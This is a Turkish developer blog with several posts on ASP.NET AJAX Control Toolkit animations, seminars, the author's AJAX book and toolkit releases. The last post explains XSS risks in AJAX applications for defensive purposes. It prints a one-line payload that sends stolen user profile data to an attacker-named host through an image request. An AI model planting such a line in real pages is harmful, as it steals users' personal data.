<StyleAction Attribute="display" Value="none" />
CSS özelliklerinin değişimi ile ilgili alternatif olarak StyleAction animasyonunu da kullanabilirsiniz.
Peki ya sayfadaki bir duruma, bir koşula göre farklı
animasyonların çalışmasını istiyorsanız? Merak etmeyin, bunun için de bir çözüm
var.
<Condition ConditionScript="$get('isaret').checked">
<FadeOut AnimationTarget="up_container" minimumOpacity=".2" />
</Condition>
Yukarıdaki gibi condition tagı ile direk sayfadaki bir CheckBox’ın işaretli olup olmadığını kontrol edebileceğiniz gibi herhangi bir JavaScript komutu da çalıştırabilir veya sayfada tanımlı global bir JavaScript değişkenini
kontrol edebilirsiniz. Şart sağlandığında Condition tagları arasındaki animasyon uygulanacaktır, aksi halde pas
geçilecektir.
<FadeOut Duration=".5" Fps="20" MinimumOpacity=".1" />
FadeIn ve FadeOut animasyonlarını daha önce de kullandık. Detaylı olarak incelemek gerekirse söz
konusu animasyonlar için animasyon süresini Duration özelliğine aktarmamız gerekiyor. Diğer yandan isterseniz animasyonun saniyede
kaç kare gösterimi ile oluşturulacağına da Fps değeri
ile karar verebilirsiniz. Son olarak şeffaflığa gidiş veya şeffaflıktan dönüş
animasyonlarında MinimumOpacity ve MaximumOpacity ile minimum şeffaflık ve maksimum şeffaflık
limitlerini de ayarlayabilirsiniz.
Tüm bu animasyonları isterseniz direk JavaScript ile de oluşturabilir ve kullanabilirsiniz.
var effects = new Array();
effects[0] = new
AjaxControlToolkit.Animation.FadeInAnimation($get("Calendar1"),
.3, 30, .3, 1, false);
AjaxControlToolkit.Animation.SequenceAnimation.play($get("Calendar1"), 0, 24, effects, 1);
Yukarıdaki JavaScript kodumuz
içerisinde ilk olarak animasyonlarımızın bir listesini saklayacak Array tipindeki değişkenimizi tanımlıyoruz. Benim
değişkenimde sadece tek bir animasyon var, siz isterseniz birden çok animasyon
ekleyebilirsiniz. Animasyonlarla ilgili parametreleri yine JavaScript ile aktarıyoruz. Son olarak da AjaxControlToolkit’e ait JavaScript sınıfları aracılığı ile hazırladığımız
animasyon serisini bir SequenceAnimation olarak
oynatmak için .play komutunu
kullanıyoruz. Her bir animasyon için hedef HTML elementini ve gerekli animasyon
parametrelerini vermemiz gerekiyor. XML-Script’e kıyasla biraz daha zor bir teknik olduğu için benim tavsiyem AnimationExtender animasyonlarını JavaScript ile birazdan inceleyeceğimiz şekilde kullanmanızdır.
<div id="gereksiz" runat="server" style="display:none;"></div>
<ajaxToolkit:AnimationExtender ID="AnimationExtender1"
BehaviorID="Yoket"
runat="server"
TargetControlID="gereksiz">
<Animations>
<OnClick>
<Parallel AnimationTarget="Calendar1">
<FadeOut Duration=".5" Fps="20" MinimumOpacity=".1" />
<Resize Width="400" Unit="px" />
</Parallel>
</OnClick>
</Animations>
</ajaxToolkit:AnimationExtender>
<ajaxToolkit:AnimationExtender ID="AnimationExtender2" BehaviorID="Goster"
runat="server" TargetControlID="gereksiz">
<Animations>
<OnClick>
<Parallel AnimationTarget="Calendar1">
<FadeIn Duration=".5" Fps="20" MinimumOpacity=".1" />
<Resize Width="200" Unit="px" />
</Parallel>
</OnClick>
</Animations>
</ajaxToolkit:AnimationExtender>
<input id="Button4"
type="button"
value="Yoket"
onclick="var
onclkBehavior =
$find('Yoket').get_OnClickBehavior().get_animation();onclkBehavior.play();"
/>
<input id="Button1"
type="button"
value="Goster"
onclick="var
onclkBehavior =
$find('Goster').get_OnClickBehavior().get_animation();onclkBehavior.play();"
/>
<input id="Button2"
type="button"
value="Gostermeye
Ara Ver" onclick="var onclkBehavior =
$find('Goster').get_OnClickBehavior().get_animation();onclkBehavior.pause();"
/>
<asp:Calendar ID="Calendar1"
runat="server"></asp:Calendar>
Yukarıdaki örneğimizde AnimationExtender kontrolleri içerisinde tanımladığımız animasyonları JavaScript ile çalıştırıyoruz. Normal şartlarda AnimationExtender’lar
başka .NET kontrollerine bağlanmak zorunda oldukları
için yalancı bir .NET kontrolü yaratıp AnimationExtender kontrollerinin TargetControlID özelliklerini boş
geçmememiz gerekiyor. Bunun için kodun en başında bir DIV yaratarak CSS
özelliği ile görünmez yaptım. Söz konusu DIV’i her
iki AnimationExtender’a da TargetControlID olarak verdim. Böylece bir sorun yaşamayacağız. AnimationExtender kontrollerini JavaScript ile yakalayabilmek için her
iki kontrole de farklı BehaviorID isimleri atadım. Kontrollerin BehaviorID özelliklerindeki isimlerden animasyonları
yakalayacağız. Gelelim bizim esas animasyonları oynatacak olan JavaScript kodlarımızın bulunduğu düğmelere. Formun en
altında toplam dört adet HTML düğmesi bulunuyor. Bu düğmelerin OnClick özelliklerine ikişer satırlık JavaScript kodları koydum. Bu kodları tek tek incelemekte fayda
var.
var onclkBehavior =
$find('Yoket').get_OnClickBehavior().get_animation();
onclkBehavior.play();
İlk satırda sayfadaki animasyonumu yakalayacak olan komut
bulunuyor. get_OnClickBehavior().
Komutu ile söz konusu animasyona ait OnClick durumuna
atanmış animasyonu alabiliyoruz. Aldığımız animasyonu onclkBehavior adındaki değişkene aktardıktan sonra .play() komutu ile oynatıyoruz.
var onclkBehavior = $find('Goster').get_OnClickBehavior().get_animation();
onclkBehavior.pause();
.pause() komutu söz konusu
animasyonu durduruyor. Fakat sonrasında tekrar play() komutu ile bu animasyonu devam ettirmek mümkün.
Umarım hepiniz için bu ilk yazgelistir.com
makalem faydalı bir kaynak olmuştur. Silverlight ile
web dünyasına giriş yapmadan önce bir süre için DHTML animasyon ihtiyaçlarınızı
AnimationExtender kontrolü ile sağlayabileceğinizden
eminim.
Herkese kolay gelsin…
ASP.NET 3.5 sürümünün giderek yaklaştığı şu günlerde yavaş yavaş Beta Hosting hizmetleri de kendini göstermeye başladı. Crsytal Tech hosting şirketi ASP.NET 3.5 Beta Hosting'ini geçenlerde duyurdu. Özellikle ASP.NET 3.5 ile beraber LinQ çalışmaları yapanların gerçek bir sunucu üzerinde denemeler yapmalarını sağlayan hizmeti burdan duyurmak istedim. Tek sorun şu an için ASP.NET 3.5 sürümünü IIS 6.0 ve Windows Server 2003 üzerinde çalıştırıyor olmaları. Umarız yakın zamanda Server 2008 ve IIS7.0 tabanlı Beta Hosting'lerde karşımıza çıkar.
Beta hosting ile ilgili hizmet sayfasına buradan ulaşabilirsiniz.
Dün akşam bazıları evlerinde televizyon izleyip belki de uyuklarken biz Gelişim Platformu çatısında ASP.NET AJAX konulu seminerimizi yoğun bir katılım ile tamamladık. Özellikle yazın bu sıcak günlerinde iş çıkışı ASP.NET AJAX'a zaman ayıran herkese teşekkür ediyor ve kişisel gelişim adına kutluyorum. Üç saat süren seminer boyunca olabildiğince ASP.NET AJAX'ın "nasıl birşey" olduğu ile ilgili bilgi vermeye çalıştım. Seminer sonundaki değerlendirme formlarını incelediğimde özellikle teknik içerik açısından bazı katılımcıların semineri başarısız bulduğunu gördüm. Bu nedenle biraz 2-3 saatlik seminerler ilgili genel olarak yazmak istiyorum.
Aslına bakarsanız dağıtılan katılım formları yanlış hazırlanmış veya hazırlamışız :) Sektörde özellikle ASP.NET AJAX gibi yeni teknolojiler ile ilgili çok sayıda 2-3 saatlik workshop, seminer düzenleniyor ve düzenlenmeye de devam edecek. Gerçekten genel anlamda çok yararlı olduğunu düşünüyorum, fakat bu organizasyonlara gelirken "işi öğrenme" beklentisi ile gelmemek lazım. 2-3 saatlik bir sürede maalesef teknik bir eğitim vermek (veya almak) pek mümkün değil. Bu tarz seminerlerin amacı özetle tanıtımdır. Bizim ASP.NET AJAX seminer örneğimizi ele alırsak, amacımız ASP.NET AJAX Nedir? Nerden geldi? Nereye gidiyor? Nasıl kullanılıyor? Neden kullanılıyor? sorularına cevap vermekti. Semineri takriben hedef katılımcıların "ASP.NET AJAX öğrenmeliyim." veya "ASP.NET AJAX benim işime yaramaz" gibi bir karar alabilmelerini sağlamaktır. Sanırım bunu başardık. Yukarıdaki cümlelerden eğer "ASP.NET AJAX öğrenmeliyim" cümlesini zaten dile getirebiliyorsanız tavsiyem seminerler yerine daha uzun süreli eğitimlere yönelmenizdir. Yine tüm katılımcılara ve Gelişim Platformu ekibine çok teşekkür ediyorum. Benim için çok zevkli bir seminerdi, gönlüm isterdi ki 3 saat değil de 5-6 saat beraber olabilseydik. Daha anlatacak o kadar çok şey vardı ki :) Bu kadarına da şükür diyerek aşağıda semimere ait örnek kodları ve sunumu download olarak koyuyorum.
Bir sonraki aktivitede görüşmek üzere. Sunum ve Örnek Kodları İndir - 31072007_1.rar (610 KB)
ASP.NET AJAX kitabım raflarda yerini alalı iki ay oluyor. Yaz dönemine rast gelmesine rağmen ilginç bir satış grafiği oluşturan kitabımın bugün hepsiburada.com’da programlama kitapları arasında en çok satılanlar listesinde birinci sıraya yerleştiğini gördüm.

Önümüzdeki dönemde AJAX bilgisine sahip olmak programcılarda sıklıkla aranan bir özellik olacak. Bu çerçevede kitabımın birinci sıraya yerleşmesinin yanı sıra tüm programcılar arasında AJAX konusunun da ilgi sırasında en ön saflarda olması gerçekten sevindirici.
AJAX konulu çalışmalarım yoğun bir şekilde devam ediyor. Sırada AJAX başlıklı 3 saatlik bir seminer var. Gelişim Platformu bünyesinde düzenleyeceğimiz seminer boyunca Mayasoft Bilişim Akademisi’nde toplam 24 saat olarak düzenlediğimiz AJAX eğitiminin hızlandırılmış, giriş seviyesi bir sürümünü sunacağım. AJAX’ın ne olduğunu merak edenlere, hızlı bir giriş yapmak isteyenlere şiddetle tavsiye ederim.
30 Temmuz Perşembe günü saat 18.45’da başlayacak olan seminerle ilgili detaylar ve rezervasyon için aşağıdaki linkten Gelişim Platformu web sitesine ulaşabilirsiniz. Seminere katılmak için siteye üye olmanız yeterli. http://www.gelisimplatformu.org/uye/uye_aktivite_detay.asp?MODE=AKTIVITE&akt_id=3693
Biraz gecikmiş de olsam sizlere AJAX Control Toolkit’in yeni sürümünü duyurmak ve bazı yeniliklerden bahsetmek istiyorum. ASP.NET AJAX kitabımda detaylıca incelediğim AJAX Control Toolkit bağımsız programcılar tarafından ASP.NET AJAX ile kullanılabilir ASP.NET kontrollerinin toplandığı, ücretsiz ve açık kaynak kodlu bir kütüphane. Kütüphanenin 18 Haziran’da yayınlanmış en son sürümü olan 1.0.10606.0 paketini aşağıdaki adresten bilgisayarınıza indirebilirsiniz.
http://www.codeplex.com/AtlasControlToolkit/Release/ProjectReleases.aspx?ReleaseId=4923
Gelelim yeni sürümlerle beraber bizleri bekleyen yeniliklere. Benim ilk dikkatimi çeken kontrol kütüphanesi içerisindeki her kontrolün artık çok daha anlamlı ikonlara sahip olması oldu. Görsel açıdan güzel bir gelişme olmuş. Ayrıca bazı kontrollerle ilgili Visual Studio’nun Designer modunda bazı kolaylıklar sağlanmış. Bunlardan ilki Tab kontrollerinin tablarının designer arayüzünde de artık düzenlenebiliyor olması. Tab kontrolleri haricinde neredeyse tüm kontrollerle designer arayüzünde kullanılmak üzere işlevler eklenmiş. PageMethodları veri kaynağı olarak kullanabileceğimiz kontrollerin artık designer arayüzünde “Add Dynamic Populate Page Method” adında bir komutu var. Bu komuta direk tıklayarak uygun fonksiyonun doğru parametreler ile Code Behind sayfasına otomatik eklenmesi sağlanabiliyor. Bence bu işlev zaman kazandıran en önemli gelişmelerden biri olmuş.

En sevdiğim yeni özellik ise ToolkitScriptManager ile beraber geliyor. ASP.NET AJAX Extension kullanırken her sayfada bir ScriptManager olması şart. ScriptManager sayfaya ASP.NET AJAX kütüphanesi ile ilgili JavaScript dosyalarını, kodlarını eklerken AJAX Control Toolkit’in genel JavaScript kütüphanesi hariç sayfamızda kullandığımız her bir AJAX Control Toolkit kontrolü ile ilgili JavaScript kodları da ayrıca sayfaya linkleniyordu. Birden fazla AJAX Control Toolkit kontrolü kullandığımız bir sayfanın kullanıcıya giden kaynak kodunu incelediğimizde çok sayıda harici JavaScript kaynaklarının sayfaya linklendiğini görüyorduk. Bu durum artık ToolkitScriptManager ile değişiyor. Yeni sürümü ile beraber yarattığınız her AJAX Control Toolkit web sitesinde yaratılan her yeni web sayfasına ToolkitScriptManager otomatik olarak ekleniyor ve eski ScriptManager’ın tüm işlevlerini miras almak ile beraber sayfadaki farklı JavaScript kaynaklarını tek bir dosya halinde kullanıcıya gönderiyor. Sonuç olarak sayfanın yüklenmesi aşamasında 10, 15 adet harici JavaScript kaynağından yükleme yapmak yerine daha derli toplu yüklemeler yapılıyor. Toplam yükleme boyutu azalmıyor fakat yükleme sayısı azaldığı için performans artışı sağlanıyor.

Genel olarak yapılan yenilikler gerçekten başarılı, umarız kısa zamanda kütüphane yeni kontroller de eklenerek daha da genişler. Bir sonraki AJAX Control Toolkit sürümünde görüşmek üzere :)
Uzun süredir gerçekleştirmeyi istediğim AJAX eğitimlerinin tarihlerini sonunda belirleyebildik. MayaSoft Bilişim Akademisi’nde gerçekleştireceğimiz eğitimleri toplam üç kur olarak düzenliyoruz. Eğitim süresince ASP.NET AJAX konusunda özellikle gerçek hayat projelerinde kullanabileceğiniz bilgileri ve karşılaşacağınız sorunlara dair çözümleri aktaracağım. Çalıştığım DEVELOAD Yazılım & Tasarım şirketinde son 2 yıldır kurumsal / ticari AJAX projeleri gerçekleştiriyoruz. Amacım özellikle bu deneyimi öğrencilerimle paylaşmak.
Toplam 24 saatlik eğitimlerin başlangıç tarihleri ve kurlar şu şekilde;
23 Temmuz 2007 - Hafta İçi Gün Boyu (09:30-16:30) (4
gün) 21 Temmuz 2007 - Hafta Sonu Sabah (Cumartesi-Pazar)
(09:00-14:00) 28 Temmuz 2007 - Hafta Sonu Öğlen (Cumartesi-Pazar)
(14:30-19:30) Detaylı bilgi için Mayasoft Bilişim Akademisi'ne ait duyuru bültenini inceleyebilirsiniz.
Son 2.5 yıldır üzerinde yoğun olarak çalıştığım AJAX'ı konu alan kitabım toplam 1.5 yıllık bir çalışma sonucunda bugün elime ulaştı. ASP.NET platformunda her ölçekte AJAX uygulamaları geliştirmek isteyenlerin tüm sorularını cevaplayabilmek için sürekli genişlettiğim kitap sonunda 516 sayfa olarak raflarda yerini aldı. Sanırım hem Türkiye'de hem de uluslararası platformda sadece AJAX konulu en kapsamlı kitap olma özelliğine sahip. 
AJAX'ın derinliklerine dalıp hiçbir ek araç, kütüphane kullanmadan sunucu programlama teknolojilerinden bağımsız olarak AJAX'ı inceledikten sonra kitap içerisinde ASP.NET 1.1 ve 2.0 ile birlikte kullanılabilecek olası tüm AJAX kütüphanelerini ve teknikleri ele aldım. Bunlar arasında tabi ki en önemlisi Microsoft'a ait ASP.NET AJAX Extensions ürünü. Ek olarak farklı tekniklerin artı ve eksi yönlerinin karşılaştırıldığı proje örnekleri, gerçek hayat projelerinde şu ana kadar karşılaştığım ve uzun çalışmalar ile çözümlerini bulduğum sorun-çözüm analizleri ve son olarak da AJAX sunucu kontrolleri yaratmanın yollarına kadar uzun bir serüven var kitap içerisinde. Tüm örnekleri ve canlı uygulamaları da bir CD içerisinde derledik. Umarım şu an için en kapsamlı Türkçe kaynak olarak kitabım yararlı bir eser olur. Online sipariş için aşağıdaki adresleri kullanabilirsiniz. http://www.kitapyum.com/ http://www.hepsiburada.com/
Kitabın web sitesi için buraya tıklayabilirsiniz.
Microsoft ASP.NET Resmi Sitesi'nde ilk makalem yayınlandığında (28 Mayıs 2006) heyecanımı İngilizce blog sitemde paylaşmıştım. Makalem hala tüm diğer eski makaleler gibi ASP.NET sitesinde, arşivde yer alıyor. Bugün ikinci makalem ASP.NET sitesinde duyuruldu. Maalesef bu makalelerin hepsi İngilizce olmak durumunda. Söz konusu makale bir ASP.NET Repeater içerisinde UpdatePanel üretimi ve kullanımı ile ilgili. Bu sefer anı ölümsüzleştirmek adına bir de screenshot aldım :)

Şu an makaleyi direk www.asp.net ana sayfasında görebilirsiniz. İleride tüm eski makaleler gibi arşivde yerini alacaktır.
AJAX artık neredeyse her web projesinde kullanılır oldu. Bazı projelerde ufak noktalarda kendini gösteren AJAX yeni nesil projelerde ise neredeyse tüm iş katmanına yayılmış durumda. Bu noktada maalesef AJAX'ın getirdiği heyecanın kısmi sersemliği ile güvenlik konusunda kaygılar unutulmuş durumda. Oysa eskiden beridir XSS (Cross-Site-Scripting) bizim JavaScript tarafındaki en önemli düşmanlarımızdan. Ne kadar ilginçtir ki AJAX'ın göbeğinde de JavaScript bulunuyor. XSS yeni bir güvenlik sorunu değil ki!? Kesinlikle değil. Cross-Site-Scripting uzun süredir bilinen, tanınan ve koruma yöntemleri geliştirilmiş bir sorun. Fakat XSS'in yaratacağı sorunlar AJAX ile binlerce kat büyüyor. Nasıl mı oluyor? Hemen bir örnek üzerinden gidelim. Varsayalım bir forum uygulaması programlıyorsunuz ve kullanıcıların attıkları mesajların içeriğini kontrol etmiyorsunuz. Ziyaretçilerden biri mesajının arasına kendi hazırlamış olduğu JavaScript kodunu yerleştirdi ve mesajı yolladı. Mesajı direk sitede gösterdiğinizi varsayalım (Kötü bir programcısınız :)). Söz konusu kullanıcının gönderdiği JavaScript kodu tüm kullanıcıların bilgisayarında çalışacaktır. Bu noktada basit bir saldırı tipi olarak uygun JavaScript kodu ile o sayfaya giren tüm kullanıcıların başka bir adrese yönlendirilmesinden bahsedebiliriz (fishing). Forumunuzda mesajların gönderimi ve gösterimi için AJAX kullandığınızı varsayalım. Kullandığınız AJAX kodu, yani JavaScript kodunuz tüm kullanıcılara gidiyor ve kaynak içerisinde incelenebiliyor. Biraz önce bahsettiğimiz "kötü ziyaretçi" sizin AJAX metodlarınızı kullanarak forumunuza mesaj atan bir JavaScript fonksiyonu yazarak mesajına eklerse neler olur? Mesajın gözüktüğü sayfayı açan herkes o JavaScript metodunu çalıştırmış olur böylece bir anda forumunuzdaki her kullanıcının yüzlerce mesaj atması gibi bir durumla karşılaşabilirsiniz. Tüm bu işlem AJAX tarafında yapıldığı için de kimse farkına varmayacaktır. Aynı forum uygulamamızla ilgili başka bir durumdan bahsedelim. Forum uygulamasını programlarken kullanıcıların bilgilerini de değiştirebilecekleri bir sayfa hazırladınız. Tüm kullanıcıları bilgileri AJAX ile sayfaya yerleşiyor ve kaydedilebiliyor. Tabi ki tüm bu AJAX metodlarınız foruma mesaj atılan ve mesajların gösterildiği metodlar ile sayfada yer alıyor. Kötü kullanıcı Şerafettin :) sitenizde kullanıcıların bilgilerini profil sayfasına yerleştiren, yani veritabanından çeken AJAX metodlarını kullanan bir JavaScript komutu yazarak mesajına ekleyip gönderdi. Her kullanıcı forumda gezerken Şerafettin'in yazdığı kod söz konusu kullanıcının bilgileri alacak. Peki sonra ne yapacak? Bu bilgisi aşağıdaki gibi klasik bir teknikle kendi sitesine aktaracak :)
(new
Image()).src
=
"http://serafettin.com/bilgigeldi.php?data="
+
ProfilBilgisi; Gözümüzün önünde tüm kullanıcıların profil bilgileri Şerafettin'in mesajının bulunduğu sayfaya girdikleri gibi elden gidiyor. XSS'i engellemek, yani kullanıcıların web sitenize gönderdiği içeriği filtrelemek için Microsoft tarafından ASP.NET geliştiricileri için hazırlanmış olan Anti-Cross Site Script kütüphanesini kullanabilirsiniz. JavaScript Hijacking Bir diğer AJAX sorunlarıdan biri de sitemiz dahilindeki AJAX metodlarının başka sitelerde de kullanılabilmesi. Eğer AJAX metodlarınızı harici bir JavaScript dosyasına yerleştirerek sayfanıza linklediyseniz aynı linklemeyi başka siteler de yapabilir. Farklı alan adları arasında XMLHttpRequest objelerinin çalışmaması ile ilgili güvenlik düzenlemeleri olmasına karşın bu durumla ilgili herhangi bir düzenleme yapmak pek mümkün değil.
<script
language="javascript"
src="http://www.deneme.com/WebService.asmx/js"></script>
Yukarıdaki kodu kullanarak deneme.com sitesinde kullanılmak üzere hazırlanmış JavaScript metodlarını herhangi bir sitede, sayfada kullanabilirsiniz. Dikkat ederseniz özellikle örnek içerisinde ScriptService özelliğine sahip bir ASP.NET web servisi kullandım. Bizim genelde ASP.NET AJAX tarafında sayfamıza linklediğimiz harici AJAX metodları web servislerinde yer alıyor.
Peki bu güvenlik açığına karşı ne yapabiliriz? Herhangi birşey yapmanız gerekmiyor :) Microsoft bu açığı öngörmüş ve HTTP GET metodlarını web metodlarına kapatmış. Yukarıdaki kod kullanılarak yapılacak bir talep GET metodu ile yapılacaktır, herhangi bir şekilde POST metodu ile yapılması mümkün değil. Siz web methodlarınıza
UseHttpGet:=True özelliği vermediğiniz sürece herhangi bir sorun olmayacaktır. Sonuç Benim tavsiyem AJAX kullanırken özellikle veri alımında, yani veritabanına kaydedilecek veriyi kullanıcıdan alırken kullandığınız tekniklerde dikkatli davranmanız. Eğer Forms Authentication kullanıyorsanız web servislerinizi de korumaya almanızda fayda var. Tüm bu tekniklerin haricinde sunucu taraflı sistem yükü fazla olsa da Session bazlı ID'ler tanımlayarak sayfanızdaki AJAX işlemlerine gerçek zamanlı parametre olarak ekleyerek gelen taleplerin sizin sisteminizden gelip gelmediğini de kontrol edebilirsiniz. Son olarak XSS'e karşı korunmayı da unutmayın.
|
Copyright © 2010 Daron Yöndem.
Tüm hakları saklıdır.
|
|